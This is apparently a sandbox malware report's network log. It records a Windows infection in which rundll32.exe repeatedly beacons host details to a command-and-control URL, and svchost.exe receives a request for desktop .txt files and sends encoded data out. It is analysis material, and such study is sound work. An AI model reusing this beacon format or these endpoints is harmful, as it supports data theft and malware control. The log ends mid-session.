Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
6	192.168.2.22	49174	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:06.534090996 CEST	296	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:06.691916943 CEST	297	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:06 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4b 48 53 50 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cKHSPARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
60	192.168.2.22	49227	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:36.091660023 CEST	362	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:36.260988951 CEST	363	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 42 59 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZBYAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
61	192.168.2.22	49228	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:36.546857119 CEST	363	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:36.715334892 CEST	364	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:36 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 48 5a 41 53 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cHZASARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
62	192.168.2.22	49229	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:36.997251987 CEST	365	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:37.152971029 CEST	365	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4d 51 4a 4e 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cMQJNARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
63	192.168.2.22	49230	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:37.433851004 CEST	366	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:37.590899944 CEST	366	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 54 47 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZTGAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
64	192.168.2.22	49231	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:37.876390934 CEST	367	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:38.042412996 CEST	367	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:37 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 47 41 5a 54 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cGAZTARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
65	192.168.2.22	49232	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:38.326898098 CEST	368	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:38.494982004 CEST	368	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 42 4b 50 59 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cBKPYARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
66	192.168.2.22	49233	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:38.776685953 CEST	369	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:38.932934999 CEST	369	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:38 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 43 47 54 58 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cCGTXARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
67	192.168.2.22	49234	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:39.217582941 CEST	370	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:39.373692989 CEST	370	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 51 4a 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZQJAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
68	192.168.2.22	49235	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:39.651362896 CEST	371	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:39.809314013 CEST	372	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:39 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 56 5a 41 45 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cVZAEARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
69	192.168.2.22	49236	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:40.088572979 CEST	372	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:40.245002031 CEST	373	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 5a 42 59 41 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cZBYAARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
7	95.213.179.67	80	192.168.2.22	49173	C:\Windows\SysWOW64\svchost.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:06.655970097 CEST	296	IN	Data Raw: 00 27 00 00 00 01 00 00 00 15 25 75 73 65 72 70 72 6f 66 69 6c 65 25 5c 44 65 73 6b 74 6f 70 00 00 00 05 2a 2e 74 78 74 05 Data Ascii: '%userprofile%\Desktop*.txt
Jul 22, 2021 16:11:06.656426907 CEST	296	OUT	Data Raw: 0c 00 0f 0a 0b 0a 0b 0a Data Ascii:
Jul 22, 2021 16:11:06.656562090 CEST	296	OUT	Data Raw: 00 00 00 14 09 0a 0a 0a 1a 7a 65 79 Data Ascii: zey
Jul 22, 2021 16:11:06.656682014 CEST	296	OUT	Data Raw: 7a 7c 63 79 63 79 24 69 65 67 30 32 3a Data Ascii: z\|cycy$ieg02:
Jul 22, 2021 16:11:06.656800985 CEST	296	OUT	Data Raw: 00 00 00 0e 0b 0a 0a 0a 00 Data Ascii:
Jul 22, 2021 16:11:06.656919003 CEST	296	OUT	Data Raw: 32 3e 24 3b 3d 24 3f 38 24 32 Data Ascii: 2>$;=$?8$2
Jul 22, 2021 16:11:06.657737970 CEST	296	OUT	Data Raw: 00 00 00 28 07 0a 0a 0a 2e 6f 6b 32 3c 3a 6f 3d 6b 27 6b 32 3d 6c Data Ascii: (.ok2<:o=k'k2=l
Jul 22, 2021 16:11:06.657861948 CEST	297	OUT	Data Raw: 27 3e 6b 32 32 27 33 38 6f 6c 27 39 32 6c 3d 3e 3e 3e 3f 32 3b 3d 3b Data Ascii: '>k22'38ol'92l=>>>?2;=;
Jul 22, 2021 16:11:07.149967909 CEST	299	OUT	Data Raw: 00 00 03 a6 00 0a 0a 0a 36 49 30 56 5f 79 6f 78 79 56 4b 66 68 7f 79 56 4b 7a 7a 4e 6b 7e 6b 56 46 65 69 6b 66 56 4d 65 65 6d 66 6f 56 49 62 78 65 67 6f 56 5f 79 6f 78 2a 4e 6b 7e 6b 56 4e 6f 6c 6b 7f 66 7e 0a 0a 0a 0c 0a 0a 0a 01 24 6d 65 65 6d Data Ascii: 6I0V_yoxyVKfhyVKzzNk~kVFeikfVMeemfoVIbxegoV_yox*Nk~kVNolkf~$meemfo$ieg;ZU@KX%UKn8:8:':='89';;$meemfo$iegIMCI%iegzfo~o%yokxibj/Cdr:PRb:F8b:h]}ySRH}hMf`SRXzh8>\|oMb:h]}xoM;yFML}iMrzS8L:
Jul 22, 2021 16:11:07.150005102 CEST	299	OUT	Data Raw: 7e 72 5a 5e 4b 7f 45 59 72 7a 68 5d 4c 64 50 59 33 39 50 5d 40 7d 46 4d 66 7e 53 5d 6e 66 46 38 4c 7d 68 67 69 79 41 63 32 7b 45 39 4f 33 47 49 3e 3e 46 4d 4c 7d 69 4d 72 7a 53 38 4c 3a 6b 5d 33 7f 46 39 44 7a 50 38 3f 66 50 49 3b 66 6f 4d 44 65 Data Ascii: ~rZ^KEYrzh]LdPY39P]@}FMf~S]nfF8L}hgiyAc2{E9O3GI>>FML}iMrzS8L:k]3F9DzP8?fPI;foMDeS]?dP^~8Z]CpE9O3GI>?$meemfo$iegIEDYOD^%us]Z$8239<?}}}$meemfo$iegN\%U8%eUziaNDN9_bOI`LhZz;LAI99Y'9D?ls{dGsA[HHb}[K
Jul 22, 2021 16:11:07.150973082 CEST	299	OUT	Data Raw: 00 00 00 04 Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
70	192.168.2.22	49237	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:40.532183886 CEST	373	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:40.698662996 CEST	374	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:40 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 4b 41 5a 50 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cKAZPARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
71	192.168.2.22	49238	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:40.971543074 CEST	375	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:41.145374060 CEST	375	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 48 4e 4d 53 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cHNMSARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
72	192.168.2.22	49239	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:41.434386015 CEST	376	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:41.603351116 CEST	376	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 59 59 42 42 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cYYBBARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
73	192.168.2.22	49240	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:41.904114008 CEST	377	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:42.072706938 CEST	377	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:41 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 46 46 55 55 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cFFUUARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
74	192.168.2.22	49241	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
Jul 22, 2021 16:11:42.361474991 CEST	378	OUT	POST /8/forum.php HTTP/1.1 Accept: / Content-Type: application/x-www-form-urlencoded User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; Trident/7.0; rv:11.0) like Gecko Host: tholeferli.com Content-Length: 110 Cache-Control: no-cache Data Raw: 47 55 49 44 3d 37 35 34 35 33 31 30 32 39 31 33 37 38 38 32 38 35 32 34 26 42 55 49 4c 44 3d 32 32 30 37 5f 78 77 70 69 36 37 26 49 4e 46 4f 3d 39 38 30 31 30 38 20 40 20 41 4c 42 55 53 2d 50 43 5c 41 6c 62 75 73 26 45 58 54 3d 26 49 50 3d 38 34 2e 31 37 2e 35 32 2e 38 26 54 59 50 45 3d 31 26 57 49 4e 3d 36 2e 31 28 78 36 34 29 Data Ascii: GUID=7545310291378828524&BUILD=2207_xwpi67&INFO=980108 @ user-PC\user&EXT=&IP=84.17.52.8&TYPE=1&WIN=6.1(x64)
Jul 22, 2021 16:11:42.517798901 CEST	378	IN	HTTP/1.1 200 OK Server: nginx/1.20.1 Date: Thu, 22 Jul 2021 14:11:42 GMT Content-Type: text/html Transfer-Encoding: chunked Connection: keep-alive X-Powered-By: PHP/5.4.45 Data Raw: 63 0d 0a 48 47 54 53 41 52 52 41 42 77 3d 3d 0d 0a 30 0d 0a 0d 0a Data Ascii: cHGTSARRABw==0

Session ID	Source IP	Source Port	Destination IP	Destination Port	Process
75	192.168.2.22	49242	194.147.115.74	80	C:\Windows\SysWOW64\rundll32.exe

Timestamp	kBytes transferred	Direction	Data
